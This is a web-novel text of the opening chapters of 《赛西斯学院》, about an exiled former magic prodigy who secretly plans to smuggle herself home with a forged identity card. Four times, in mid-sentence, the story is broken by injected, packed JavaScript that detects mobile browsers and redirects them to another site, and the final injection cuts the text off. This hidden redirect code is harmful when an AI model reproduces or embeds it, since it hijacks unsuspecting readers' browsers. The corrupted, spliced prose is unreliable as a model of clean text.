《赛西斯学院》 1. 流放 “斐瑞·哈罗德，冰元素兽印，蓝晶级！” 法印台下，一群身穿白色校服的学生们发出一阵惊呼，随后，潮水般的掌声响起，欢呼和赞扬纷纷投向台上的金发少年。 “斐瑞，你真是我们的骄傲！” “哈罗德少爷是我们这儿百年以来唯一的蓝晶级学员，将来肯定要冲进四星级以上的高等魔法学院。” “太厉害了！” 金发少年收回手，微微一笑，湛蓝色眼眸像法印台上的蓝光一样闪耀，虽然他身穿着普通的学院校服，但周身矜贵的气质却无法被其掩盖，在人群中十分突出。 他目光流转，最后落在某一处角落，看见某个熟悉的身影时，眼中光芒更灿。 斐瑞无视了别人对他羡慕的眼神，从法印台上一跃而下，穿过人群，来到那人面前。 “恭喜你，斐瑞。” 众人的视线也随着他的身影看去，只见不远处的人鱼喷泉旁，站着一个红发少女，手里拎着一份饭盒，红茶色眼眸中闪烁着淡淡的喜悦。 “莫尔·克伦威尔？她又来了。” “这不是从伊芙大陆流放过来的那个废天才吗？她明明不是我们学院的人，但是天天都能看见她的身影呢。” “她现在是哈罗德家的小佣人，每天跑腿送饭呢。” “为什么叫她废天才？” “因为她以前可是号称伊芙大陆天赋最高的魔法师，紫晶级幻法印，比斐瑞的蓝晶级还厉害，可惜运气不好，自己葬送了自己的前途。克伦威尔家族也衰落了，只能到杜林大陆来勉强混日子。” “啧，真不知道哈罗德少爷为什么整天和这样的人混在一起。” 然而众人的这番言语，并未落到莫尔耳中，她只看得见他们的嘴在动。 “斐瑞，你不必对我使用隔音魔法，我已经猜到他们在说什么了。”莫尔无奈道。 斐瑞主动用身体挡住了众人的视线，揽着她往外走：“你不觉得看一群长得像蠕虫的嘴巴无声扭动，是一件很有趣的事吗？” 莫尔：“他们都是你的同学，你在背后说这种话，难道不怕被欺凌吗？” 斐瑞笑了笑，金发在阳光下十分晃眼：“有时间确实应该和他们交手一番，不然这些家伙总是闲得发慌，还有空议论别人的身世。” 两人走出测印场，来到一条枫树道上。 这里是维克托学院风景最好的地方，有不少来往的学员。斐瑞身为学院中最耀眼的存在，难免会引起路过的人侧目偷看。 莫尔已经习惯了这样诡异的目光，路过的人不仅是在看斐瑞，更多的是在看她。 从富饶大陆而来，落魄的人类贵族，曾经的天才魔法师……无论哪一点单拎出来，都是饭后可谈的有趣话题。 莫尔眼眸低垂，有些无奈，却也无法否认他们的话。 “不说我的事了，说说你的。”莫尔说，“今年你也快毕业了吧，测出蓝晶级幻法印，终于可以摆脱这片贫瘠的大陆了。” 斐瑞：“是啊。我也想去见识外面的世界，为此等了十七年，不过这四年间，有你陪在我身边，也不算过得太糟糕。” 莫尔：“说起来，这四年我还得感谢你们家，让我有一个容身之所。” 莫尔与他的相识在四年前，那时候，她才十三岁。 在此之前，莫尔一直生活在伊芙大陆。 伊芙大陆是四块主神大陆里最富饶的，克伦威尔家族是伊芙大陆的人类贵族之一，莫尔出身高贵，刚出生时，便有占星师预言，她将是整个伊芙大陆最具潜力的魔法师。 果不其然，十岁那年，她测出了紫晶级幻法印，克伦威尔家族也因此一飞冲天，名列七种族十大贵族之列。 可惜好景不长，十三岁那年，莫尔与家人外出猎魔时，遭到了袭击，她的幻法印刚开启不久，便被毁了，成了一个不能使用魔法的废人。 与此同时，克伦威尔家族也遭到了审判庭的打击，她的父亲当时是伊芙大陆的二十四城主之一，于是被安了一个玩忽职守的罪名，将他们全家流放到混乱又贫瘠的杜林大陆。 半路上，她的家人不堪重负自杀了，她一人来到杜林大陆，幸好遇到了哈罗德一家，才能活到现在。 哈罗德一家也是被困在杜林大陆的，斐瑞的母亲是精灵族，父亲是人族，两人在奥托大陆失去了公民身份，被迫来到这里居住。 不过好在他们两个有头脑，发现杜林大陆有许多隐藏的晶矿资源，靠开采晶矿发家，一跃成为这片大陆最富有的家族。 尽管富有，却依然很难重新获得富饶大陆公民身份，直到富饶大陆开启了“招晶计划”，在各个混乱地区开设学院，招收有魔法天赋的学员，只要入了学院，就能获得公民身份。 斐瑞自出身起便在杜林大陆，他也是哈罗德一家唯一拥有公民身份的人，等毕业后，只要进入富饶大陆的高等魔法学院，就能为全家争取回去的机会。 斐瑞等这一天等了太久，莫尔陪他四年，知道他有多么渴望外面的世界。 “不，应该是我感谢你才对，如果不是你提醒我，或许我一辈子都不知道自己有魔法天赋。”斐瑞说，“莫尔，你才是我们一家的救星。” 莫尔：“等你走后，我会帮你照顾好哈罗德夫人。今天她还和我谈起你的事，害怕你去了高等魔法学院后，被别人欺负。这是她托我给你带的午饭，有你最喜欢的红莓派。” 斐瑞接过她手中的饭盒，拿出里面切好的红莓派，送到她嘴边：“老规矩，第一口你先吃。” 莫尔毫不留情，咬下一大口，绵软香甜的红莓入口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036396|148870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，让人心中有一股奇妙的满足感。 斐瑞看着她笑，三两口解决了剩下的。 “莫尔，我可能不久之后就要走了。”他说。 莫尔：“嗯，我知道。” 蓝晶级已经算高级魔法天赋，他完全可以报考三块富饶大陆的所有四星级以上的学院。 “你想去哪里，回到奥托大陆吗？” 斐瑞摇了摇头：“不，我想去伊芙大陆，我想去看一看你曾经生活过的地方。” 莫尔见他满脸严肃，忍不住笑出声来：“伊芙大陆的高等学院里有不少权贵的少爷小姐，你在那边被人欺负了，都找不到报仇的门路。” 斐瑞的表情忽然变得认真起来：“莫尔，我想问你，你今后有什么打算？” 莫尔愣了一下：“……我没什么打算，能一直陪着哈罗德夫人，我就很高兴了。” “是吗？”斐瑞看起来颇为失望，“难道你不想回去看看吗？我打算带着你一起去伊芙大陆。” 莫尔：“开什么玩笑，我的公民身份被剥夺了，就是想去，也去不了。” “我有个办法，可以帮你。” 莫尔：“如果是偷渡或者其他违法的事，我劝你还是打消这个念头，克伦威尔这个姓氏已经进了审判庭的警戒名单，要是再犯点事，我可真要被斩首示众了。” 斐瑞：“那你跟着我们家，改姓哈罗德，等我进了高等魔法学院，你就是我们家的人，到时候也可以一起过来。” 莫尔掐了掐他那张漂亮的脸：“你整天都在想些什么，我不喜欢干违法乱纪的事，以后不许再说这种话。” 斐瑞：“嘶……疼啊，我好歹也是个蓝晶级魔法师，不要在外人面前让我丢脸啊。” 莫尔松开了他：“下午还有课，老老实实钻研魔法书，少胡思乱想。我要走了，哈罗德夫人还在家里等我。” “好吧，那你再好好考虑一番，在我离开杜林大陆前，你都有机会改主意。”斐瑞张开双臂环抱住她，闻了闻她发顶的玫瑰香。 他接住一片飘落的红枫叶，别在她耳边：“我会一直等你。” 莫尔没有说话，斐瑞松开她，趁她还没动手之前，三两步跑远了。 斐瑞一边走一边笑，金发耀眼灿烂，他朝她挥手：“晚上回去，我送你一件礼物，你可以先期待一下。” 莫尔无奈地笑了笑，拎着饭盒，转身朝学院门口走去。 但她并未选择回家，而是在门口等了一会儿。 一张紫色的羊毛魔毯飞了过来，上面坐着一个矮矮的兽人，头上顶着两只鼠耳，尾巴乖巧地盘着。 “美丽的人族小姐，需要我带你去哪个地方吗？” 莫尔从酒红色长裙的小布袋口掏出两枚赫斯币，投进他的铁罐：“巴尔酒馆，谢谢。” 2. 偷渡 坐魔毯从维克托学院到巴尔酒馆，只需十五分钟时间，因为混乱，无人管辖，天上的魔毯到处乱飞，根本不需要遵守任何规则。 四块主神大陆，分别是伊芙大陆、奥托大陆、杜林大陆、塞特大陆。 四大陆分别代表了四位原始主神的信仰区，其中，光之主神伊芙的信徒最多，因此伊芙大陆为四大陆之首，最为繁荣昌盛。夜之主神奥托为第二神，仅次于伊芙主神，风之主神塞特排在最后。 而莫尔脚下的这片土地，曾是冰之主神杜林的信仰区，繁荣程度堪比伊芙大陆，但后来杜林主神的神像离奇失踪，让这里失去了神意庇护，成为了四大陆中最混乱的地方。 流民、盗贼、罪犯、魔物……组成了这块大陆的九成子民。 哈罗德一家所在的星城，已经算杜林大陆中秩序最好的城市，这里靠近巴比特大洋，海运发达，与外界联系密切，引来了不少外大陆商人的投资。 星城唯一的初级魔法学院，就是来自伊芙大陆的维克托商行投资建成的，所谓的“招晶计划”，也是他们最先发起。 沾了这所魔法学院的光，周围的居民都能安稳生活，但离开学院区，将要面临的依然是一片混乱。 “小姐，巴尔酒馆到了。” 莫尔下了魔毯，脚刚落地，便看见酒馆外有两个裸着上身的流浪汉在打斗，你一拳我一拳，把酒馆外面的桌椅掀翻了。 莫尔提着裙摆越过两人，推开红褐色木门，迎面而来的是一股浓郁复杂的酒香。 巴尔酒馆内部还算温馨，布局虽然老式，显得有些拥挤，但该有的一样不缺。 吧台前，两个穿着朴素的卷毛正醉醺醺地交谈，对着来往的人指指点点，靠花窗那一侧坐了一个大胡子，兽人独有的尾巴垂在一旁，拦住了唯一的狭窄过道。 “克伦威尔小姐，喝点什么？” 莫尔：“一杯‘矮人蘑菇’。” 听见这话，吧台前的两个卷毛咧嘴大笑： “哈哈哈，这位小姐，巴尔酒馆可不能提起‘矮人’，当心被赶出去。” “嘘，不要再笑了，小心被那个矮人听见，我以后还要来这儿喝酒呢。” 其中一个卷毛刚说完，忽然一把飞刀从后门刺了过来，直直扎中他的胳膊。 “嘶！该死！” 卷毛的手臂顿时被鲜血染红，另一个卷毛看到，立马吓清醒了。 两人回头看了一眼，嘴里骂了两句，扔下没喝完的半瓶酒，匆匆逃跑了。 莫尔朝飞刀飞来的方向打了个招呼：“巴尔，你的脾气越来越暴躁了。” 后门走出一个绿眸尖耳的少年，他站起来只有莫尔一半高，穿着一身老旧的黑袍，看上去像个孩子。 这是巴尔酒馆的老板，实际上他已经有两百岁了。 巴尔怒气冲冲地走出来，一不小心被兽人的尾巴绊倒了，那兽人连忙站起来道歉：“不好意思，我没有看到你。” 巴尔更生气了，指了指门：“你也滚出去。” 莫尔点的“矮人蘑菇”调好了，透明的酒杯里盛着五颜六色的液体，里面放了一块蘑菇冰，看上去十分可爱。 巴尔瞥了她一眼，见她正笑着看自己热闹，说：“谁准你点这杯酒？把钱退了，滚。” 莫尔坐着没动，喝了一口矮人蘑菇，新鲜的果味在舌尖扩散，十分香甜。 “你这样做生意，一年下来亏多少钱？”莫尔笑着说，“最贵的酒一百赫斯币一杯，算一天卖一百杯，你每回叫人滚，一年亏个三百万差不多吧。” 巴尔：“来我这儿喝酒的，没几个给过钱的，有人赊账都赊了几万赫斯。我从来不指望这里有按账单付钱的正常人。” 莫尔见他脸上的怒红消散了，一边拿着酒杯，一边拍了拍他的脑袋：“我要的东西，你带来了吗？” 巴尔打掉她的手，说：“跟我来就行了，别动手动脚。” 他走到一面酒柜前，按下机关，酒柜从中间分开，里面有一条暗道。 酒馆里的人都被他赶走了，只剩下莫尔和他。 “每一次来都会被震惊到，不愧是侏儒族的手艺。”莫尔看着精巧的机械门，不禁感叹道。 巴尔骄傲地抬起头，尽管抬了之后依然很矮，但他丝毫不在意：“你有眼光。那帮没见识的土豆居然把我当成矮人，我们侏儒和矮人可从来都不是同一族。” 莫尔和他一起走进暗道，暗道尽头，是一方宽阔的地下室，里面摆着各种冶金器材，和一堆她看不出用途的机械。 她和巴尔认识两年，这地方她来过许多次，每回都和之前不一样。 角落里的酿酒机还在运转，酒馆里的酒都是他自酿，但他的目的不是为了喝酒，只是单纯测试酿酒机的效率而已。 他的酒是魔法药剂调和而成的实验废品，只能从味道上称作酒，酿完之后从黑贩那里收购一些空酒瓶，灌进去，贴上一段乱写的符文，充当高端货。 反正能进这家酒馆来喝酒的人也不认识几个字。 客人不肯给钱，正好他也没良心，双向奔赴。 莫尔每次来都点那杯“矮人蘑菇”，因为她知道，这是酒馆里唯一正常的饮品，巴尔自己平时也喝。 巴尔的工作台是从黑市淘来的二手柜，他要在脚下垫个凳子才能够到台面。 “这是你要的伪造身份卡，里面的晶片我替换过了，可以通过其他大陆的魔法网筛查。” 莫尔接过他递来的身份卡，上面写着一串精灵族文字，好在她曾经学过精灵语，认识一点。 身份卡上的新名字叫“莫妮”，是个三百岁的精灵。 “你哪来的晶片？”莫尔喝了一口矮人蘑菇。 巴尔：“从死精灵身上捡的。” 莫尔嘴里的冰饮直接喷了出来：“……这个‘死’，是我想的那样吗？” 幸好巴尔比较矮，躲过了她的攻击：“不然你以为呢，精灵族哪有那么好说话，他们都是牛一样的脾气。我们要偷渡，怎么可能有活人愿意借身份卡，只能捡死人的。” 莫尔沉默了一会儿：“……” “你不会想反悔吧，我们现在可是一条船上的人。”巴尔抬起稚嫩的小脸，“难道你不想回伊芙大陆了？” 莫尔：“当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036397|148870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想。” 来这里的四年，她每一刻都想回去。 从她认识巴尔的那一年起，便与他共同筹划这件事，已经整整两年了。 巴尔和她不同，对方是主动来到这里的，而她身上有他想要的东西，所以才答应帮她一把。 自从幻法印被毁后，她每晚都寝食难安，想起克伦威尔家的城堡被烧毁，想起父母自杀时的模样，她心中总是有散不开的阴云。 她想重新成为魔法师，回到伊芙大陆，为克伦威尔家族洗刷冤屈。 这件事，她只告诉过巴尔一个人，她甚至都不曾向哈罗德一家透露过。 “那你就好好收着，这张身份卡是回去的关键，没有它，你过不了魔法网。”巴尔说，“你先去塞特大陆，这块大陆的移民法目前有漏洞，尤其是小城镇。找一个黑店当学徒，给城主交够了钱就能获得公民身份，然后再用真正的公民身份卡去伊芙大陆。” “虽然塞特大陆不卡非法移民，但我劝你还是谨慎一点，万一被抓了，我不会去审判庭里捞你。” 莫尔：“知道了，巴尔先生。那么，偷渡的事你准备好了吗？总不能让我从巴比特大洋游到塞特大陆吧。” 巴尔：“我雇了两个人鱼族的引路人，顺便发明了一款水下呼吸的魔药，药效半个月左右，从杜林大陆游过去应该足够了。” 莫尔震惊：“你真要我游过去？” 巴尔摊了摊手：“想干违法乱纪的事，当然要不走寻常路。我可以多给你配几种魔药，让你能撑到塞特大陆。” “行吧。主神保佑，希望我不会半路被海妖吃掉。”莫尔说。 巴尔不仅是侏儒族中相当有天赋的冶金师，同时也是中级药剂师，他炼的魔药，莫尔信得过。酒馆菜单上的除外。 “你要偷渡这件事，哈罗德一家知道吗……我的意思是，你的魔法师小情人？” 莫尔：“你是说斐瑞？他不是我的小情人，只能算是我的弟弟。” “我的弟弟可不会对我搂搂抱抱。”巴尔说，“我已经不止一次看到过了。说起来，如果他能进入高等魔法学院，应该能拿到去往外大陆的资格，你为什么不让他带你走？” 莫尔收敛了笑容：“克伦威尔，是伊芙大陆的罪人。他好不容易摆脱了这个地方，我和他一起，你觉得哪个高等学院会待见他？” 巴尔：“他和你生活了四年，你甚至不告诉他一声吗？如果你开不了口，我可以帮忙。” 莫尔：“不用了，我在斐瑞面前，一直是个遵纪守法的好姐姐，你不要随便败坏我的形象。” 巴尔冷哼一声：“我只是怕你临走前又舍不得，拖我的后腿。我陪你在这儿耗的时间够多了，像我这样的冶金师，应该坐在金锤大殿里受万人敬仰，而不是窝在又小又破的酒馆里给一群又脏又臭的流民端酒。” 莫尔将身份卡塞进口袋里，说：“谢谢你，巴尔。如果有一天我成了大陆第一魔法师，一定会向全世界推荐你酿的酒。” 巴尔摆了摆手，坐上矮凳，开始修机械：“你连幻法印都没有，别在我面前吹牛了。赶紧走吧，酒馆打烊了。” 3. 克伦威尔 走出巴尔酒馆，莫尔在酒馆前停留了片刻，让眼睛适应外面的阳光。 门外的两个流浪汉已经结束了争斗，两败俱伤地横躺在地面上，四周全是血迹，或许是受了重伤，又或许是死了。 在星城，这样的事每天都在发生，除了受人庇护的学院区以外，其他地方随处可见死尸，有的甚至来不及处理，直接在某个角落发烂发臭。 杜林大陆治安最好的星城尚且如此，其他城市更不用说，混乱程度是不可想象的。 莫尔抬手挡了挡阳光，红茶色眼眸半眯，余光瞥到了手腕处的伤痕。 这里，曾有她的紫晶级幻法印。 幻法印是魔法天赋的标志，在四大陆上，每个种族的子民出身后都有可能觉醒幻法印，其中，人族获得幻法印的概率最大。 七种族中，每一个种族都有独特之处：精灵族长生、侏儒族有极高的锻造天赋、人鱼族统领海洋、兽人拥有强大的肉身……唯独人族，脆弱而短命。 但好在四大陆的主神都是人族出身，在他们登神之后，在魔法天赋上赐予了人族独特的偏爱。 幻法印从低到高分为六个等级，分别是：白晶、黄晶、红晶、蓝晶、绿晶、紫晶。 紫晶级代表了最高魔法天赋，也是最有可能登神的存在。 莫尔测出紫晶级幻法印的那一年，十岁，整个伊芙大陆都为此震惊，中心城市戈城最厉害的几个学院都想提前招揽她，克伦威尔家族因此一飞冲天，每月登门送礼拜访的贵族数不胜数。 她的父母甚至还为她定下了一门婚约，对方是精灵族，同为紫晶级魔法天赋，强强联手，人人羡慕。 可惜…… 莫尔无奈地笑了笑，不禁抚摸手腕上那处伤痕。 一切来得快，去得也快。在她幻法印被毁后，克伦威尔家族一落千丈，甚至还被倒泼脏水。 至于那婚约，在他们送回去后不久，她就出事了，估计对方都没有签字，直接扔掉了。 对于所谓的婚约和盟友，莫尔不在乎，没了就没了，但在她眼里，克伦威尔家族的清白比什么都重要。 哪怕赌上偷渡被抓的风险，她也要重新回到伊芙大陆。 至于为什么不告诉斐瑞…… 莫尔觉得，自己这些年来已经受了哈罗德一家太多恩惠，她暂时无力回报，但至少不能给他们招来麻烦。 等斐瑞一走，她会主动请辞，离开哈罗德家。 这么多年，虽然她一直以女佣的身份留在哈罗德家，但哈罗德夫妇视她为亲生女儿，在衣食住行上和斐瑞基本没有区别，斐瑞有的，哈罗德夫妇也会让她有。 唯一的差别是她无法进入初级魔法学院，因为她是个连幻法印都没有的废人。 这些年来，斐瑞虽然帮她挡下了许多难听的流言蜚语，但莫尔心里明白，她不能让斐瑞帮她一辈子。 身为曾经的天才，她也有一颗不可退让的自尊心。 莫尔用袖口挡住了腕上的伤疤，准备回家之前，她先去了一趟集市，用剩下的赫斯币买了些白萝卜和番茄。 哈罗德一家住在学院区的城堡里，为了方便斐瑞去学院，特地在学院区买了一块地皮，建了一座小城堡。 莫尔回到家，大门口的守卫一见到她，行了个礼：“克伦威尔小姐。” 莫尔点了点头：“斐瑞回来了吗？” “少爷说，他在花园等您。” 莫尔将怀里的东西交给了前来迎接的女仆，独自一人绕到了城堡后的花园里。 正值秋季，花园里的花却开得很旺盛，白木栅栏旁种着一排大向日葵。红墙上爬满了蔷薇藤，一簇一簇粉红的蔷薇花挂在枝头，随风摇摆。花园中央有一棵老枫树，红透的枫叶像一树燃烧的火焰。 特殊的魔法药剂让这些不同季节的花长盛不衰，斐瑞从小就很喜欢花，有空时也经常来打理花园，他最喜欢的事之一，就是坐在枫树下看书。 莫尔一走进去，果然看到他站在枫树底下，正抬头看满树火红。 莫尔摘下耳边的枫叶，走过去拍了拍他：“学院的枫叶和这里的有什么不同，在学院里还没看够吗？” 斐瑞回过头，看见她时，眼中流露出笑意：“你今天回来得比我晚，去哪里逛了？” 他凑近闻了闻：“酒的味道……你去了巴尔酒馆？” 莫尔用手指抵住他的额头，将他推远：“斐瑞，你已经不是小孩子了，与异性保持距离是绅士的基本礼仪。” 斐瑞：“巴尔酒馆在学院区外面，听说里面的侏儒老板很凶残，你最好少去那种地方。” “只是去采购果蔬时，有些口渴，临时进去喝了一杯。”莫尔说，“倒是你，今天没有魔法作业要练习吗，还有心思在花园里闲逛？毕业大考就快到了。” 斐瑞抿了抿唇，有些不满：“你说话总是像我的长辈一样，能不能用年轻人的交流方式？” 莫尔：“我本来就是你的姐姐啊，比你大了整整三个月呢。” “好，我的姐姐。”斐瑞颇为无奈地说，“我想送你一件礼物，姐姐愿意收吗？” 莫尔：“该不会又是宝石吧，我已经收了满满一箱的宝石了。” 虽然早就被她变卖掉当作给巴尔的报酬了。 “当然不是。” 斐瑞神神秘秘地从怀中摸出了一样东西，莫尔仔细一看，竟然是一个机械怀表。 斐瑞打开怀表，里面有一张合照，是去年神降节时用留影魔石拍下的，画面中有哈罗德夫妇、斐瑞和她，四个人站在一起吹蜡烛，脸上挂着幸福的笑容。 “我怕我走了之后你会孤单，所以托外大陆来的商人定制了这个怀表，是伊芙大陆戈城最经典的款式，我希望它可以代替我陪在你身边。” 莫尔接过怀表，里面的指针不停地转动，外壳是古铜色，花纹摸起来十分熟悉。曾经她也有过一个差不多的怀表，可惜后来在来杜林大陆的路上丢失了。 “谢谢你，斐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036398|148870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑞。”莫尔将怀表小心地藏进袖中，“我从来没有回报过你什么，如果以后有机会……” 斐瑞打断了她的话：“你和我之间不用道谢，我也不要你回报。我只想你好好待在哈罗德家，等我去伊芙大陆拿到了家族移民许可，我会把你一起接过去。” “其实你一直都很想回去，对吧？”斐瑞盯着她的眼睛，“没人会不怀念美好的故土。有好几次，我听见你在梦里喊家乡的名字。” “你来自最富饶的大陆，又曾是贵族之女，在这里的日子终究比不上你从前所过的生活。” 莫尔回望向他湛蓝的眸：“斐瑞，你想得太多了，我想留在这里。伊芙大陆对我来说只有痛苦的回忆，我不想再回到那片土地，待在这里挺好的。你是从小在杜林大陆长大的人，你应该去见一见外面的世界，可我不一样，我已经见够了。” “我希望你们一家能去往更好的地方生活，但我只想留在这里。” 斐瑞愣了愣：“我们不是一家人吗？” “我姓克伦威尔。”莫尔说。 斐瑞停顿了一会儿，随后眨了眨眼：“对不起，是我没有认真考虑过你的感受，我以为你怀念从前的生活。” 莫尔摸了摸他的金发：“你不用道歉，你从来都不需要向我道歉。你的礼物，我很喜欢。” 莫尔头一次主动抱了抱他，没等斐瑞反应过来，她就松开了。 斐瑞眨了眨眼，很快又恢复成开朗的模样：“你不喜欢这件事，我以后不提了。说说别的吧。过两天外大陆的维克托商行负责人会来验收这一届的学院天赋测试结果，我打算报考伊芙大陆戈城的维莱特学院。” “维莱特学院吗？那是戈城最好的高级魔法学院之一，你有蓝晶级天赋，一定能被录取的。” 斐瑞：“外大陆负责人说，他们会携带新的法印测试石，我可能还要测一次，到时候你能来看吗？” “我……”莫尔垂下眼眸，“具体是哪一天？” “三天之后的下午，四点钟。” 莫尔沉默了一会儿：“……” 这三天，同样也是她最关键的时刻，在离开杜林大陆前，她必须先做一件重要的事。 她不确定自己能否赶上斐瑞的第二轮天赋测试。 更何况，要来验收的负责人是维克托商行的人…… 莫尔表面上没有任何异常情绪，心中却泛起了不小的波澜。 维克托商行，是伊芙大陆最大的民办商行，不论面对任何势力，向来都保持中立，只做生意。但在四年前破过一次例，戈城分行的行长出面为克伦威尔城主的罪行作证，也正是维克托商行的偏向，害她父亲被革去城主一职。 她不知道当年维克托商行为什么会临时改变立场，但他们同样是污蔑了克伦威尔家族清白的人。 “如果我有空，我一定会去看的。”莫尔温柔地笑，“斐瑞，你的天赋，肯定会让外大陆负责人大吃一惊。” “但愿如此。” 4. 幻法树 第二天清晨，当阳光透过薄纱窗帘，照进卧室内后，莫尔在床上睁开了眼。 哈罗德家的女佣通常在早晨太阳刚出来时起床，但她的作息不一样，为了照顾她，哈罗德夫妇从不让她干任何活，反而每天的自由活动时间比斐瑞这个真正的少爷还要多。 莫尔一睁眼，身穿黑白女仆装的女佣便站在她床前说道：“小姐，需要我服侍你起床吗？” 莫尔对她笑了笑：“不用了，艾琳。我的意思是说，从今以后，不用你守在我身边了。” 艾琳是哈罗德夫人专门安排来照顾她的，自从她踏上这片大陆起，每晚的梦中都不太平静，时常因为梦魇，在睡梦中呼吸困难，有好几次差点窒息。从哈罗德夫人发现之后，便安排了几个女佣晚上轮流守着她，防止出现意外。 艾琳便是其中之一。 不过最近，莫尔没再做噩梦了。 莫尔自己穿好了衣服，下了床，问道：“夫人和先生回来了吗？” 艾琳说：“还没呢，小姐。你也是知道的，先生和夫人去矿区巡查，这一趟需要很久，大概两天之后才能回来。” 莫尔微微一笑：“好，这两天我也要出去，在夫人和先生回来之前，麻烦你替我守好房间，不要让斐瑞进来。” 艾琳好奇地问：“小姐去哪儿？晚上也不回来吗？” 莫尔：“差不多吧。我托外大陆的商人定制了一份礼物，准备送给夫人，没过多久就是她的生日了。不过，我得亲自去监工，万一外大陆那帮人耍小聪明，故意偷工减料就不好了。” 艾琳笑着说：“小姐该不会是去找巴尔先生吧？你之前也经常去巴尔酒馆。虽然巴尔生得矮矮的，长相却很可爱。” 莫尔捏了捏她的小脸颊：“是不是斐瑞又在你面前胡说了？” 艾琳嘻嘻地笑，抱住她的胳膊，亚麻色眼睛下的雀斑显得生气灵动。 莫尔走到洗漱间，洗漱完毕后，用丝帕擦了擦脸上的水珠，一边说道：“我这两天不回来的事，不要告诉斐瑞。等他放学之后，你把我的房间门关上，说我已经睡着了。艾琳，你和我之间的关系，应该不用我担心了吧？” 艾琳并不意外，因为莫尔以前也经常趁着老爷和夫人外出，整夜不回家，那时哈罗德少爷也会整晚歇在学院，所以时间上错开了。 但是最近，他每天都会回来。 艾琳犹豫：“可是小姐，万一哈罗德少爷闯进来，看见你不在屋里，我该怎么办？” 莫尔从柜子里抱出几根白萝卜，和两颗小巧秀气的番茄，放在床上，又从床头柜中取出一瓶魔药，撒在床上，白萝卜和番茄一阵扭曲后，变成了莫尔的模样。 莫尔替“自己”盖上被子：“通常情况下，他不敢直接闯进来……如果有的话，回来告诉我，我会好好教训他。” 艾琳点了点头：“是，小姐。不过我建议你还是快点下楼为好，斐瑞少爷在下面等你，如果他上来看见两个‘小姐’，这就没法解释了。” 斐瑞非常爱黏她，每天去学院之前，都要她送他，不然便会一直站在门口等，谁来了都叫不动。 莫尔换好衣服，戴上圆帽，半边垂下的白纱遮住了她半张脸，修身长裙刚好盖住脚踝，短靴侧边的红宝石熠熠生辉。 她想了想，将斐瑞昨天送的怀表也带上，然后下了楼。 城堡大门口，一身白色校服的少年正驻足等待，金发在阳光下如黄金般璀璨，深邃的蓝眸远远望过来。 “莫尔，今天你让我多等了十分钟。”斐瑞晃了晃手中的机械表，故作严肃，“你得给我一个补偿。” 莫尔提着裙摆走了过去，说：“今天我用的是你送的表，应该是你偷走了我的时间才对。” 斐瑞笑着说：“那换我给你补偿。” 说罢，他便凑了过来，在莫尔的脸颊上落下一个送别吻。 斐瑞指了指自己：“我的呢？” 莫尔并未拒绝，也在他右脸处轻轻一吻：“快点去学院，别迟到了。” 斐瑞笑得更加灿烂，将要抬脚离开之际，忽然又闪了回来，猛地吻了吻她另一边脸：“这是补偿。” 莫尔无奈瞪他：“再不走，小心我当着你同学的面拎你耳朵。” 斐瑞终于不再玩闹，坐上了前往维克托学院的魔毯，挥手告别后，身影逐渐远去。 莫尔目送着他离开，随后收回目光，当她往下看的那一刻，一张熟悉的脸闯入视线。 巴尔站在路对面，面无表情地看着她。他今天穿了一身斗篷，黑色兜帽遮住了尖耳，但从体型和那双森林般的绿眼，莫尔认出了他。 莫尔穿过小路，走到他身边：“你今天来得太早了。” 她回头看了一眼，城堡那边并没有注意到他们，巴尔身上的斗篷有隐身效果。 趁着现在人少，两人加快了脚步。 巴尔有些跟不上她，只能小跑着说：“如果我再来晚一点，是不是就能看到你们两个吻倒在路边？我是来干正事的，可不是来看你们小情侣亲密的。” “什么小情侣，我和你说过，那是我的弟弟。”莫尔说，“这是哈罗德家的家族习惯，如果你不介意，我也可以送你一个早安吻。” 巴尔一脸嫌弃：“我才不要。” 莫尔被他认真拒绝的模样逗笑了：“好了，我们说正事。我需要的药剂，你调配好了吗？” “你在质疑我这个中级炼药师的能力？我答应过的事，自然会做到。”巴尔冷冷地说，“魔药材料加上炼药的人工费，一共三百枚贝金，麻烦两天之内付清。” “知道了，不会少你一分钱。” 走到路口时，莫尔抬手拦下了一张空魔毯，很巧，又是上次那个小兽人。 小兽人摘下帽子：“美丽的小姐，很高兴为您服务，请问你想去哪里？” 莫尔弯下腰，对那矮矮的兽人说：“学院区以西的迷雾区，方便捎一程吗？” 那兽人顿时变了脸色。 莫尔温柔地笑：“只需要带我们到边缘入口就行，我可以付你两倍的钱。” 小兽人耳朵垂了垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 